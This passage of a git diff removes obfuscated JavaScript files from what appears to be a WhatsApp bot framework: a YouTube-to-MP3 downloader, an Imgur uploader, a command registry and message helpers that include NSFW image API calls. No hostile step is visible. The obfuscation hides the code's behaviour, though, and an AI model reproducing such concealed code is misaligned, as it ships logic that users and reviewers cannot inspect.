'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36' - }, - ...options - }) - return res.data - } catch (err) { - return err - } -} - -exports.generateProfilePicture = async (buffer) => { - const jimp = await Jimp.read(buffer) - const min = jimp.getWidth() - const max = jimp.getHeight() - const cropped = jimp.crop(0, 0, min, max) - return { - img: await cropped.scaleToFit(720, 720).getBufferAsync(Jimp.MIME_JPEG), - preview: await cropped.scaleToFit(720, 720).getBufferAsync(Jimp.MIME_JPEG) - } -} - -exports.WAVersion = async () => { - let get = await exports.fetchUrl("https://web.whatsapp.com/check-update?version=1&platform=web") - let version = [get.currentVersion.replace(/[.]/g, ", ")] - return version -} - -exports.getRandom = (ext) => { - return `${Math.floor(Math.random() * 10000)}${ext}` -} - -exports.isUrl = (url) => { - return url.match(new RegExp(/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)/, 'gi')) -} - -exports.isNumber = (number) => { - const int = parseInt(number) - return typeof int === 'number' && !isNaN(int) -} diff --git a/framework/dl/dl.json b/framework/dl/dl.json deleted file mode 100644 index 22094ed8..00000000 --- a/framework/dl/dl.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "auther" : "France King (Mr Fabian)", - "regards" : "Encrypted by SuhailTechInfo" -} diff --git a/framework/dl/ytdl-core.js b/framework/dl/ytdl-core.js deleted file mode 100644 index b9aba99a..00000000 --- a/framework/dl/ytdl-core.js +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - - - - - - - -const _0x34a31e=_0x13d5;(function(_0x301181,_0x3013ff){const _0x2721f7=_0x13d5,_0x14b1ce=_0x301181();while(!![]){try{const _0x5b4b9a=parseInt(_0x2721f7(0x18b))/0x1*(parseInt(_0x2721f7(0x1a7))/0x2)+-parseInt(_0x2721f7(0x18a))/0x3*(-parseInt(_0x2721f7(0x1b5))/0x4)+-parseInt(_0x2721f7(0x1ca))/0x5*(parseInt(_0x2721f7(0x1a2))/0x6)+-parseInt(_0x2721f7(0x1a4))/0x7+-parseInt(_0x2721f7(0x18c))/0x8*(-parseInt(_0x2721f7(0x1a3))/0x9)+parseInt(_0x2721f7(0x1a8))/0xa+-parseInt(_0x2721f7(0x197))/0xb;if(_0x5b4b9a===_0x3013ff)break;else _0x14b1ce['push'](_0x14b1ce['shift']());}catch(_0x84fa4){_0x14b1ce['push'](_0x14b1ce['shift']());}}}(_0x1175,0xd1f29));const ytdl=require(_0x34a31e(0x194)),yts=require('youtube-yts'),readline=require(_0x34a31e(0x18e)),ffmpeg=require(_0x34a31e(0x1a9)),NodeID3=require(_0x34a31e(0x19b)),fs=require('fs'),{fetchBuffer}=require('./Function'),{randomBytes}=require(_0x34a31e(0x1ba)),ytIdRegex=/(?:youtube\.com\/\S*(?:(?:\/e(?:mbed))?\/|watch\?(?:\S*?&?v\=))|youtu\.be\/)([a-zA-Z0-9_-]{6,11})/;function _0x1175(){const _0x1a1b92=['publishDate','title','search','audioonly','contentLength','response','audioFrequency','683277SZBNXr','231241yIZDVU','32EyHqeI','end','readline','slice','.mp3','getInfo','size','Artist','youtubedl-core','write','WriteTags','8573257QNDVWQ','log','front\x20cover','mp4','node-id3','isArray','audioQuality','thumbnails','toString','test','videoDetails','9534oSRuDu','1507833SvdGib','2939083wHuctp','hex','stdout','2ckRuoz','12706240ClqGek','fluent-ffmpeg','downloadMusic','jpeg','./dustbin/','videoandaudio','audioBitrate','toFormat','length','libmp3lame','Album','audioChannels','Video\x20ID\x20or\x20YouTube\x20Url\x20is\x20required','12YrsGtT','url','exec','getVideoID','mp3','crypto','https://www.youtube.com/watch?v=','is\x20not\x20YouTube\x20URL','ownerChannelName','Title','statSync','audioCodec','buffer','now','author','qualityLabel','Cover\x20of\x20','videos','formats','save','name','2505AmYHZc','split','description','error','isYTUrl','image'];_0x1175=function(){return _0x1a1b92;};return _0x1175();}class YT{constructor(){}static ['isYTUrl']=_0x5c1c44=>{const _0x1c305b=_0x34a31e;return ytIdRegex[_0x1c305b(0x1a0)](_0x5c1c44);};static [_0x34a31e(0x1b8)]=_0x147189=>{const _0x1f7c5f=_0x34a31e;if(!this['isYTUrl'](_0x147189))throw new Error(_0x1f7c5f(0x1bc));return ytIdRegex[_0x1f7c5f(0x1b7)](_0x147189)[0x1];};static ['WriteTags']=async(_0x5bbc0f,_0x4fa490)=>{const _0x5a74dd=_0x34a31e;NodeID3[_0x5a74dd(0x195)]({'title':_0x4fa490[_0x5a74dd(0x1be)],'artist':_0x4fa490[_0x5a74dd(0x193)],'originalArtist':_0x4fa490['Artist'],'image':{'mime':_0x5a74dd(0x1ab),'type':{'id':0x3,'name':_0x5a74dd(0x199)},'imageBuffer':(await fetchBuffer(_0x4fa490['Image']))[_0x5a74dd(0x1c1)],'description':_0x5a74dd(0x1c5)+_0x4fa490['Title']},'album':_0x4fa490[_0x5a74dd(0x1b2)],'year':_0x4fa490['Year']||''},_0x5bbc0f);};static [_0x34a31e(0x185)]=async(_0x32bfbc,_0x421810={})=>{const _0x237a70=_0x34a31e,_0x39ab78=await yts[_0x237a70(0x185)]({'query':_0x32bfbc,'hl':'id','gl':'ID',..._0x421810});return _0x39ab78[_0x237a70(0x1c6)];};static [_0x34a31e(0x1aa)]=async _0x28bb3a=>{const _0x515909=_0x34a31e;try{const _0x550b41=Array[_0x515909(0x19c)](_0x28bb3a)?_0x28bb3a:await this['searchTrack'](_0x28bb3a),_0x45a5eb=_0x550b41[0x0],_0x1eab13=await ytdl['getInfo'](_0x515909(0x1bb)+_0x45a5eb['id'],{'lang':'id'});let _0x3b42a4=ytdl(_0x45a5eb['id'],{'filter':'audioonly','quality':0x8c}),_0x55f0ee=_0x515909(0x1ac)+randomBytes(0x3)[_0x515909(0x19f)](_0x515909(0x1a5))+_0x515909(0x190);_0x3b42a4['on']('error',_0xfe53f=>console['log'](_0xfe53f));const _0x531551=await new Promise(_0xe5eb3d=>{const _0x1c2412=_0x515909;ffmpeg(_0x3b42a4)[_0x1c2412(0x189)](0xac44)[_0x1c2412(0x1b3)](0x2)[_0x1c2412(0x1ae)](0x80)[_0x1c2412(0x1c0)](_0x1c2412(0x1b1))['audioQuality'](0x5)[_0x1c2412(0x1af)]('mp3')[_0x1c2412(0x1c8)](_0x55f0ee)['on'](_0x1c2412(0x18d),()=>_0xe5eb3d(_0x55f0ee));});return await this['WriteTags'](_0x531551,{'Title':_0x45a5eb[_0x515909(0x184)],'Artist':_0x45a5eb['artist'],'Image':_0x45a5eb[_0x515909(0x182)],'Album':_0x45a5eb['album'],'Year':_0x1eab13['videoDetails'][_0x515909(0x183)]['split']('-')[0x0]}),{'meta':_0x45a5eb,'path':_0x531551,'size':fs['statSync'](_0x55f0ee)['size']};}catch(_0x5e7c07){throw new Error(_0x5e7c07);}};static [_0x34a31e(0x19a)]=async(_0x20e34f,_0x115f8c=0x86)=>{const _0x48fe5a=_0x34a31e;try{if(!_0x20e34f)throw new Error(_0x48fe5a(0x1b4));const _0x5a5f16=this[_0x48fe5a(0x1ce)](_0x20e34f)?this[_0x48fe5a(0x1b8)](_0x20e34f):_0x20e34f,_0x17e11f=await ytdl[_0x48fe5a(0x191)](_0x48fe5a(0x1bb)+_0x5a5f16,{'lang':'id'}),_0x42019a=ytdl['chooseFormat'](_0x17e11f[_0x48fe5a(0x1c7)],{'format':_0x115f8c,'filter':_0x48fe5a(0x1ad)});return{'title':_0x17e11f[_0x48fe5a(0x1a1)]['title'],'thumb':_0x17e11f[_0x48fe5a(0x1a1)][_0x48fe5a(0x19e)][_0x48fe5a(0x18f)](-0x1)[0x0],'date':_0x17e11f['videoDetails'][_0x48fe5a(0x183)],'duration':_0x17e11f[_0x48fe5a(0x1a1)]['lengthSeconds'],'channel':_0x17e11f[_0x48fe5a(0x1a1)][_0x48fe5a(0x1bd)],'quality':_0x42019a[_0x48fe5a(0x1c4)],'contentLength':_0x42019a[_0x48fe5a(0x187)],'description':_0x17e11f[_0x48fe5a(0x1a1)][_0x48fe5a(0x1cc)],'videoUrl':_0x42019a[_0x48fe5a(0x1b6)]};}catch(_0x17410b){throw _0x17410b;}};static [_0x34a31e(0x1b9)]=async(_0x6f4243,_0x2fde14={},_0x412ec6=![])=>{const _0x3c00a1=_0x34a31e;try{if(!_0x6f4243)throw new Error(_0x3c00a1(0x1b4));_0x6f4243=this[_0x3c00a1(0x1ce)](_0x6f4243)?_0x3c00a1(0x1bb)+this[_0x3c00a1(0x1b8)](_0x6f4243):_0x6f4243;const {videoDetails:_0x30d0d3}=await ytdl['getInfo'](_0x6f4243,{'lang':'id'});let _0x140e98=ytdl(_0x6f4243,{'filter':_0x3c00a1(0x186),'quality':0x8c}),_0x4e3d41='./'+randomBytes(0x3)[_0x3c00a1(0x19f)](_0x3c00a1(0x1a5))+_0x3c00a1(0x190),_0x12f1d8;_0x140e98['once'](_0x3c00a1(0x188),()=>{const _0x386046=_0x3c00a1;_0x12f1d8=Date[_0x386046(0x1c2)]();}),_0x140e98['on'](_0x3c00a1(0x18d),()=>process[_0x3c00a1(0x1a6)]['write']('\x0a\x0a')),_0x140e98['on'](_0x3c00a1(0x1cd),_0x55f3c1=>console[_0x3c00a1(0x198)](_0x55f3c1));const _0xb5e7ec=await new Promise(_0x38ca9b=>{const _0xf975fc=_0x3c00a1;ffmpeg(_0x140e98)['audioFrequency'](0xac44)[_0xf975fc(0x1b3)](0x2)['audioBitrate'](0x80)[_0xf975fc(0x1c0)](_0xf975fc(0x1b1))[_0xf975fc(0x19d)](0x5)['toFormat'](_0xf975fc(0x1b9))['save'](_0x4e3d41)['on'](_0xf975fc(0x18d),()=>{_0x38ca9b(_0x4e3d41);});});return Object['keys'](_0x2fde14)[_0x3c00a1(0x1b0)]!==0x0&&await this[_0x3c00a1(0x196)](_0xb5e7ec,_0x2fde14),_0x412ec6&&await this[_0x3c00a1(0x196)](_0xb5e7ec,{'Title':_0x30d0d3[_0x3c00a1(0x184)],'Album':_0x30d0d3[_0x3c00a1(0x1c3)]['name'],'Year':_0x30d0d3[_0x3c00a1(0x183)][_0x3c00a1(0x1cb)]('-')[0x0],'Image':_0x30d0d3[_0x3c00a1(0x19e)][_0x3c00a1(0x18f)](-0x1)[0x0][_0x3c00a1(0x1b6)]}),{'meta':{'title':_0x30d0d3[_0x3c00a1(0x184)],'channel':_0x30d0d3[_0x3c00a1(0x1c3)][_0x3c00a1(0x1c9)],'seconds':_0x30d0d3['lengthSeconds'],'description':_0x30d0d3['description'],'image':_0x30d0d3[_0x3c00a1(0x19e)]['slice'](-0x1)[0x0][_0x3c00a1(0x1b6)]},'path':_0xb5e7ec,'size':fs[_0x3c00a1(0x1bf)](_0x4e3d41)[_0x3c00a1(0x192)]};}catch(_0x486df6){throw _0x486df6;}};}function _0x13d5(_0x6ff961,_0x2e5b5d){const _0x11757e=_0x1175();return _0x13d5=function(_0x13d504,_0x5cf5ee){_0x13d504=_0x13d504-0x182;let _0x420ac3=_0x11757e[_0x13d504];return _0x420ac3;},_0x13d5(_0x6ff961,_0x2e5b5d);}module['exports']=YT; \ No newline at end of file diff --git a/framework/flash.js b/framework/flash.js deleted file mode 100644 index 1d14eb34..00000000 --- a/framework/flash.js +++ /dev/null @@ -1,13 +0,0 @@ - - - -'use strict'; - - - - - - - - -function _0x305a(_0x4c304a,_0x8cd9ff){const _0x3c7462=_0x3c74();return _0x305a=function(_0x305a98,_0x3dc6f5){_0x305a98=_0x305a98-0x14d;let _0x2ce42a=_0x3c7462[_0x305a98];return _0x2ce42a;},_0x305a(_0x4c304a,_0x8cd9ff);}const _0x5db4d3=_0x305a;(function(_0x2954ec,_0x4391ae){const _0x581b45=_0x305a,_0x9d84e9=_0x2954ec();while(!![]){try{const _0x296015=-parseInt(_0x581b45(0x155))/0x1*(-parseInt(_0x581b45(0x15b))/0x2)+parseInt(_0x581b45(0x14d))/0x3+-parseInt(_0x581b45(0x156))/0x4*(parseInt(_0x581b45(0x14e))/0x5)+-parseInt(_0x581b45(0x151))/0x6+-parseInt(_0x581b45(0x15d))/0x7*(-parseInt(_0x581b45(0x153))/0x8)+parseInt(_0x581b45(0x164))/0x9*(-parseInt(_0x581b45(0x14f))/0xa)+-parseInt(_0x581b45(0x154))/0xb*(-parseInt(_0x581b45(0x160))/0xc);if(_0x296015===_0x4391ae)break;else _0x9d84e9['push'](_0x9d84e9['shift']());}catch(_0x411b68){_0x9d84e9['push'](_0x9d84e9['shift']());}}}(_0x3c74,0x42012));Object[_0x5db4d3(0x152)](exports,_0x5db4d3(0x159),{'value':!![]}),exports[_0x5db4d3(0x161)]=exports[_0x5db4d3(0x158)]=exports[_0x5db4d3(0x163)]=exports[_0x5db4d3(0x150)]=exports[_0x5db4d3(0x15c)]=exports[_0x5db4d3(0x15a)]=exports['reaction']=exports[_0x5db4d3(0x15f)]=exports['zokou']=void 0x0;let {zokou}=require('./zokou');function _0x3c74(){const _0x2601fe=['styletext','3176268zfrEyq','defineProperty','45464hckWFh','22PgCGMU','12994AICLQK','460RaCbhe','reaction','stick','__esModule','getBuffer','24VWzzAV','zJson','497UCpCAE','./app','police','4253940mUURxe','genererNomFichier','./mesfonctions','format','963tVmzZJ','880536dzMuWS','11120NUWqSe','47330fiApIs'];_0x3c74=function(){return _0x2601fe;};return _0x3c74();}exports['zokou']=zokou;const mesfonctions_1=require(_0x5db4d3(0x162));Object[_0x5db4d3(0x152)](exports,'reaction',{'enumerable':!![],'get':function(){const _0x18e947=_0x5db4d3;return mesfonctions_1[_0x18e947(0x157)];}}),Object[_0x5db4d3(0x152)](exports,_0x5db4d3(0x15f),{'enumerable':!![],'get':function(){return mesfonctions_1['police'];}}),Object['defineProperty'](exports,_0x5db4d3(0x15a),{'enumerable':!![],'get':function(){return mesfonctions_1['getBuffer'];}}),Object[_0x5db4d3(0x152)](exports,'zJson',{'enumerable':!![],'get':function(){const _0x4781a0=_0x5db4d3;return mesfonctions_1[_0x4781a0(0x15c)];}}),Object[_0x5db4d3(0x152)](exports,_0x5db4d3(0x163),{'enumerable':!![],'get':function(){const _0x4d34ce=_0x5db4d3;return mesfonctions_1[_0x4d34ce(0x163)];}}),Object[_0x5db4d3(0x152)](exports,_0x5db4d3(0x150),{'enumerable':!![],'get':function(){return mesfonctions_1['styletext'];}}),Object[_0x5db4d3(0x152)](exports,_0x5db4d3(0x158),{'enumerable':!![],'get':function(){const _0x1228a8=_0x5db4d3;return mesfonctions_1[_0x1228a8(0x158)];}}),Object[_0x5db4d3(0x152)](exports,'genererNomFichier',{'enumerable':!![],'get':function(){const _0x59505c=_0x5db4d3;return mesfonctions_1[_0x59505c(0x161)];}});var {reagir}=require(_0x5db4d3(0x15e)); diff --git a/framework/france.js b/framework/france.js deleted file mode 100644 index bce7ccfc..00000000 --- a/framework/france.js +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - - - - - - - const _0x5ef4b9=_0x537b;(function(_0x4a030c,_0x188987){const _0x2720a7=_0x537b,_0x1b5572=_0x4a030c();while(!![]){try{const _0x521d65=-parseInt(_0x2720a7(0x129))/0x1*(parseInt(_0x2720a7(0x11c))/0x2)+-parseInt(_0x2720a7(0x120))/0x3+-parseInt(_0x2720a7(0x11d))/0x4*(-parseInt(_0x2720a7(0x124))/0x5)+-parseInt(_0x2720a7(0x11e))/0x6*(parseInt(_0x2720a7(0x119))/0x7)+-parseInt(_0x2720a7(0x126))/0x8*(-parseInt(_0x2720a7(0x11f))/0x9)+parseInt(_0x2720a7(0x121))/0xa+parseInt(_0x2720a7(0x122))/0xb;if(_0x521d65===_0x188987)break;else _0x1b5572['push'](_0x1b5572['shift']());}catch(_0xa0857c){_0x1b5572['push'](_0x1b5572['shift']());}}}(_0x5bf9,0x41a9a));var tabCmds=[];let cm=[];function _0x537b(_0x414e58,_0x2d5b1c){const _0x5bf913=_0x5bf9();return _0x537b=function(_0x537bac,_0x116568){_0x537bac=_0x537bac-0x119;let _0x340454=_0x5bf913[_0x537bac];return _0x340454;},_0x537b(_0x414e58,_0x2d5b1c);}function _0x5bf9(){const _0xfabc31=['categorie','General','174GEOxrA','1468056mqfDTn','2736918PyYdeR','153zwzQFl','1333875KSdbhC','3077470oJEIpj','3487396jhlJbZ','reaction','5HfkPye','fonction','112352eGkhOC','exports','push','699jhmcQo','7YGdaod'];_0x5bf9=function(){return _0xfabc31;};return _0x5bf9();}function france(_0x357529,_0x32f5a2){const _0x4b5aa0=_0x537b;let _0x8d5da1=_0x357529;return!_0x357529[_0x4b5aa0(0x11a)]&&(_0x8d5da1[_0x4b5aa0(0x11a)]=_0x4b5aa0(0x11b)),!_0x357529[_0x4b5aa0(0x123)]&&(_0x8d5da1[_0x4b5aa0(0x123)]='🪰'),_0x8d5da1[_0x4b5aa0(0x125)]=_0x32f5a2,cm[_0x4b5aa0(0x128)](_0x8d5da1),_0x8d5da1;}module[_0x5ef4b9(0x127)]={'france':france,'Module':france,'cm':cm}; \ No newline at end of file diff --git a/framework/imgur.js b/framework/imgur.js deleted file mode 100644 index c43522c2..00000000 --- a/framework/imgur.js +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - - - const _0x307e39=_0x3adb;(function(_0x4c90a5,_0x47b253){const _0x410707=_0x3adb,_0x26d596=_0x4c90a5();while(!![]){try{const _0xb5b23b=parseInt(_0x410707(0xde))/0x1*(parseInt(_0x410707(0xe4))/0x2)+parseInt(_0x410707(0xe3))/0x3*(parseInt(_0x410707(0xe7))/0x4)+parseInt(_0x410707(0xda))/0x5*(parseInt(_0x410707(0xd3))/0x6)+-parseInt(_0x410707(0xd4))/0x7*(-parseInt(_0x410707(0xd9))/0x8)+parseInt(_0x410707(0xdb))/0x9+parseInt(_0x410707(0xe0))/0xa+-parseInt(_0x410707(0xdc))/0xb*(parseInt(_0x410707(0xd0))/0xc);if(_0xb5b23b===_0x47b253)break;else _0x26d596['push'](_0x26d596['shift']());}catch(_0x35af1e){_0x26d596['push'](_0x26d596['shift']());}}}(_0x16e4,0x1eee8));function _0x3adb(_0xf25886,_0x16da40){const _0x16e426=_0x16e4();return _0x3adb=function(_0x3adb4a,_0x3343cb){_0x3adb4a=_0x3adb4a-0xd0;let _0x3757fa=_0x16e426[_0x3adb4a];return _0x3757fa;},_0x3adb(_0xf25886,_0x16da40);}const axios=require(_0x307e39(0xd8)),fs=require('fs'),FormData=require(_0x307e39(0xdf));function _0x16e4(){const _0x1c0cd4=['link','6IkPOUE','294XMwXnY','exports','Client-ID\x20','post','axios','15360aSebWh','1071135SaYijz','202122OUYopf','19096ywuvnM','data','224134yPvXlt','form-data','38280lNIIdu','error','image','3KHexQn','2RmLVAK','getHeaders','https://api.imgur.com/3/image','61636wiEWIq','3000UjtyLE','An\x20error\x20occurred\x20while\x20uploading\x20to\x20Imgur.'];_0x16e4=function(){return _0x1c0cd4;};return _0x16e4();}async function uploadImageToImgur(_0x341a1e,_0x1148ba){const _0x29490f=_0x307e39;try{const _0x5d0943=new FormData();_0x5d0943['append'](_0x29490f(0xe2),fs['createReadStream'](_0x341a1e));const _0x1d094b={'Authorization':_0x29490f(0xd6)+_0x1148ba,..._0x5d0943[_0x29490f(0xe5)]()},_0xb42c48={'method':_0x29490f(0xd7),'maxBodyLength':Infinity,'url':_0x29490f(0xe6),'headers':_0x1d094b,'data':_0x5d0943},_0x53eb2f=await axios(_0xb42c48),_0x4812f1=_0x53eb2f[_0x29490f(0xdd)][_0x29490f(0xdd)][_0x29490f(0xd2)];return _0x4812f1;}catch(_0x2a3ac2){console[_0x29490f(0xe1)]('Error\x20while\x20uploading\x20to\x20Imgur:',_0x2a3ac2);throw new Error(_0x29490f(0xd1));}}module[_0x307e39(0xd5)]={'uploadImageToImgur':uploadImageToImgur}; \ No newline at end of file diff --git a/framework/mesfonctions.js b/framework/mesfonctions.js deleted file mode 100644 index 65bbb613..00000000 --- a/framework/mesfonctions.js +++ /dev/null @@ -1,19 +0,0 @@ - - - - -'use strict'; - - - - - - - - - - - -const _0x3d5ee4=_0x5bdb;(function(_0x505691,_0x440ae2){const _0x4bc413=_0x5bdb,_0x20f3c9=_0x505691();while(!![]){try{const _0x498a86=parseInt(_0x4bc413(0x180))/0x1+-parseInt(_0x4bc413(0x13b))/0x2*(-parseInt(_0x4bc413(0x179))/0x3)+parseInt(_0x4bc413(0x152))/0x4+parseInt(_0x4bc413(0x16e))/0x5+parseInt(_0x4bc413(0x177))/0x6*(parseInt(_0x4bc413(0x171))/0x7)+parseInt(_0x4bc413(0x158))/0x8+-parseInt(_0x4bc413(0x15c))/0x9;if(_0x498a86===_0x440ae2)break;else _0x20f3c9['push'](_0x20f3c9['shift']());}catch(_0x4d740d){_0x20f3c9['push'](_0x20f3c9['shift']());}}}(_0x323e,0xb1acd));Object['defineProperty'](exports,_0x3d5ee4(0x145),{'value':!![]}),exports[_0x3d5ee4(0x121)]=exports[_0x3d5ee4(0x15a)]=exports[_0x3d5ee4(0x13c)]=exports['zJson']=exports[_0x3d5ee4(0x15d)]=exports[_0x3d5ee4(0x163)]=exports['fruit']=exports['tabCmd']=exports[_0x3d5ee4(0x16c)]=exports[_0x3d5ee4(0x12a)]=exports[_0x3d5ee4(0x16d)]=exports['ajouterCommande']=void 0x0;const axios=require('axios'),path=require(_0x3d5ee4(0x155)),cheerio=require(_0x3d5ee4(0x146)),{Sticker,createSticker,StickerTypes}=require(_0x3d5ee4(0x124)),baileys_1=require(_0x3d5ee4(0x137)),fs=require(_0x3d5ee4(0x143)),util=require(_0x3d5ee4(0x181));let {listall}=require('./stylish-font');module[_0x3d5ee4(0x164)]['genererNomFichier']=async _0x371d54=>{const _0x41f595=_0x3d5ee4;var _0x5c1201=Math[_0x41f595(0x162)](Math[_0x41f595(0x123)]()*0x7d0),_0x321f36=_0x41f595(0x148)+_0x5c1201+'.'+_0x371d54;return _0x321f36;},module[_0x3d5ee4(0x164)][_0x3d5ee4(0x12b)]=async(_0xb18de3,_0x5eea3d)=>{const _0x14ee28=_0x3d5ee4;var _0x435202=new Sticker(_0xb18de3,{'pack':_0x14ee28(0x141),'author':_0x5eea3d,'type':StickerTypes['FULL'],'categories':['🤩','🎉'],'id':_0x14ee28(0x14e),'quality':0x32,'background':_0x14ee28(0x140)});return _0x435202;};async function zJson(_0x8f3ef4,_0x1b1f17){const _0x376412=_0x3d5ee4;try{_0x1b1f17?_0x1b1f17:{};const _0x40d69b=await axios({'method':'GET','url':_0x8f3ef4,'headers':{'User-Agent':_0x376412(0x168)},..._0x1b1f17});return _0x40d69b[_0x376412(0x173)];}catch(_0x342628){return _0x342628;}}exports['zJson']=zJson;async function getBuffer(_0x2321e3,_0x1b3af6){const _0x31c3c0=_0x3d5ee4;try{_0x1b3af6?_0x1b3af6:{};const _0x22aff0=await axios({'method':_0x31c3c0(0x133),'url':_0x2321e3,'headers':{'DNT':0x1,'Upgrade-Insecure-Request':0x1},..._0x1b3af6,'responseType':_0x31c3c0(0x150)});return _0x22aff0[_0x31c3c0(0x173)];}catch(_0x391b88){console[_0x31c3c0(0x130)](_0x391b88);}}exports[_0x3d5ee4(0x13c)]=getBuffer;async function recept_message(_0x40f115,_0x3092a6,_0xc2a99e){const _0x3a445f=_0x3d5ee4;if(!_0x3092a6)return;_0x3092a6['key']&&(_0x3092a6['cleMessage']=_0x3092a6['key'],_0x3092a6[_0x3a445f(0x149)]=_0x3092a6['key']['id'],_0x3092a6[_0x3a445f(0x165)]=_0x3092a6[_0x3a445f(0x14d)]['remoteJid'],_0x3092a6[_0x3a445f(0x132)]=_0x3092a6[_0x3a445f(0x14d)]['fromMe'],_0x3092a6[_0x3a445f(0x176)]=_0x3092a6[_0x3a445f(0x165)][_0x3a445f(0x153)](_0x3a445f(0x128)),_0x3092a6[_0x3a445f(0x13e)]=_0x3092a6[_0x3a445f(0x149)]['startsWith']('BAE5')&&_0x3092a6[_0x3a445f(0x149)][_0x3a445f(0x125)]==0x10);if(_0x3092a6['message']){_0x3092a6[_0x3a445f(0x178)]=(0x0,baileys_1[_0x3a445f(0x167)])(_0x3092a6[_0x3a445f(0x127)]),_0x3092a6['ms']=_0x3092a6[_0x3a445f(0x178)]==_0x3a445f(0x11f)?_0x3092a6['message'][_0x3092a6[_0x3a445f(0x178)]][_0x3a445f(0x127)][(0x0,baileys_1[_0x3a445f(0x167)])(_0x3092a6[_0x3a445f(0x127)][_0x3092a6['typeMessage']][_0x3a445f(0x127)])]:_0x3092a6[_0x3a445f(0x127)][_0x3092a6[_0x3a445f(0x178)]];try{switch(_0x3092a6[_0x3a445f(0x178)]){case _0x3a445f(0x17e):_0x3092a6['corpsMessage']=_0x3092a6[_0x3a445f(0x127)][_0x3a445f(0x17e)];break;case _0x3a445f(0x12c):_0x3092a6[_0x3a445f(0x147)]=_0x3092a6['message']['imageMessage'][_0x3a445f(0x16f)];break;case'videoMessage':_0x3092a6['corpsMessage']=_0x3092a6[_0x3a445f(0x127)][_0x3a445f(0x17a)][_0x3a445f(0x16f)];break;case _0x3a445f(0x136):_0x3092a6[_0x3a445f(0x147)]=_0x3092a6[_0x3a445f(0x127)][_0x3a445f(0x12f)][_0x3a445f(0x129)];break;case _0x3a445f(0x183):_0x3092a6[_0x3a445f(0x147)]=_0x3092a6[_0x3a445f(0x127)]['buttonsResponseMessage']['SelectedButtonId'];break;case _0x3a445f(0x14c):_0x3092a6[_0x3a445f(0x147)]=_0x3092a6[_0x3a445f(0x127)][_0x3a445f(0x14c)]['singleSelectReply'][_0x3a445f(0x135)];break;case _0x3a445f(0x126):_0x3092a6[_0x3a445f(0x147)]=_0x3092a6[_0x3a445f(0x127)][_0x3a445f(0x126)]['selectedId'];break;case'messageContextInfo':_0x3092a6[_0x3a445f(0x147)]=_0x3092a6['message']['buttonsResponseMessage'][_0x3a445f(0x138)]||_0x3092a6[_0x3a445f(0x127)]['listResponseMessage'][_0x3a445f(0x151)][_0x3a445f(0x135)]||_0x3092a6[_0x3a445f(0x12e)]||'';break;default:_0x3092a6[_0x3a445f(0x147)]=![];}}catch{_0x3092a6['corpsMessage']=![];}}let _0x565d0a=_0x3092a6[_0x3a445f(0x13d)]=_0x3092a6['ms'][_0x3a445f(0x142)]?_0x3092a6['ms']['contextInfo'][_0x3a445f(0x139)]:null;_0x3092a6[_0x3a445f(0x170)]=_0x3092a6['ms'][_0x3a445f(0x142)]?_0x3092a6['ms'][_0x3a445f(0x142)][_0x3a445f(0x170)]:[];if(_0x3092a6[_0x3a445f(0x13d)]){}return _0x3092a6;}exports[_0x3d5ee4(0x15a)]=recept_message;function styletext(_0x5754ef){return new Promise((_0x133448,_0x2b98a8)=>{const _0xac84cd=_0x5bdb;axios[_0xac84cd(0x13a)](_0xac84cd(0x157)+_0x5754ef)['then'](({data:_0x27bacf})=>{const _0x4ea806=_0xac84cd;let _0x365502=cheerio[_0x4ea806(0x169)](_0x27bacf),_0x700c94=[];_0x365502('table\x20>\x20tbody\x20>\x20tr')[_0x4ea806(0x172)](function(_0x4347ba,_0x4406f9){const _0x3f5a80=_0x4ea806;_0x700c94[_0x3f5a80(0x16a)]({'name':_0x365502(_0x4406f9)['find'](_0x3f5a80(0x122))['text'](),'result':_0x365502(_0x4406f9)[_0x3f5a80(0x17b)](_0x3f5a80(0x14f))[_0x3f5a80(0x12e)]()[_0x3f5a80(0x166)]()});}),_0x133448(_0x700c94);});});}exports[_0x3d5ee4(0x12a)]=styletext;async function apiWaifu(_0x5a9c04){const _0x16e882=_0x3d5ee4;var _0x30536b=_0x16e882(0x160);if(_0x5a9c04==_0x16e882(0x16b))_0x30536b+=_0x5a9c04;else{if(_0x5a9c04=='trap')_0x30536b+=_0x5a9c04;else{if(_0x5a9c04==_0x16e882(0x174))_0x30536b+=_0x5a9c04;else _0x5a9c04==_0x16e882(0x15f)?_0x30536b+=_0x16e882(0x15f):_0x30536b=_0x16e882(0x156);}}try{const _0x504eb6=await axios['get'](_0x30536b);return _0x504eb6['data'][_0x16e882(0x11e)];}catch(_0x506105){console[_0x16e882(0x130)](_0x506105);}}exports[_0x3d5ee4(0x15d)]=apiWaifu;var tabCmd={};exports[_0x3d5ee4(0x17d)]=tabCmd;var reaction={};exports[_0x3d5ee4(0x121)]=reaction;var fruit={};function _0x5bdb(_0x170925,_0x537a1d){const _0x323ec2=_0x323e();return _0x5bdb=function(_0x5bdb7a,_0x3c6b3e){_0x5bdb7a=_0x5bdb7a-0x11e;let _0x2536b3=_0x323ec2[_0x5bdb7a];return _0x2536b3;},_0x5bdb(_0x170925,_0x537a1d);}exports[_0x3d5ee4(0x12d)]=fruit;function _0x323e(){const _0x3bb815=['tabCmd','conversation','fichier\x20:\x20','557793RsMxpW','util','/../commandes','buttonsResponseMessage','url','viewOnceMessage','toLowerCase','reaction','td:nth-child(1)\x20>\x20span','random','wa-sticker-formatter','length','templateButtonReplyMessage','message','@g.us','Textarea','styletext','stick','imageMessage','fruit','text','extendedTextMessage','log','readdir','moi','GET','extname','selectedRowId','entendedTextMessage','@whiskeysockets/baileys','SelectedButtonId','quotedMessage','get','6losBSr','getBuffer','quoted','origineBot','human-readable','#000000','FLASH-MD','contextInfo','fs-extra','/../commandes/','__esModule','cheerio','corpsMessage','Zok','idMessage','readFile','./commandes/','listResponseMessage','key','12345','td:nth-child(2)','arrayBuffer','singleSelectReply','1384732lCLUEo','endsWith','.js','path','https://api.waifu.pics/nsfw/waifu','http://qaz.wtf/u/convert.cgi?text=','1252336XCopwF','readdirSync','recept_message','split','21390516XKLqqf','apiWaifu','forEach','blowjob','https://api.waifu.pics/nsfw/','execute','floor','format','exports','origineMessage','trim','getContentType','Mozilla/5.0\x20(Windows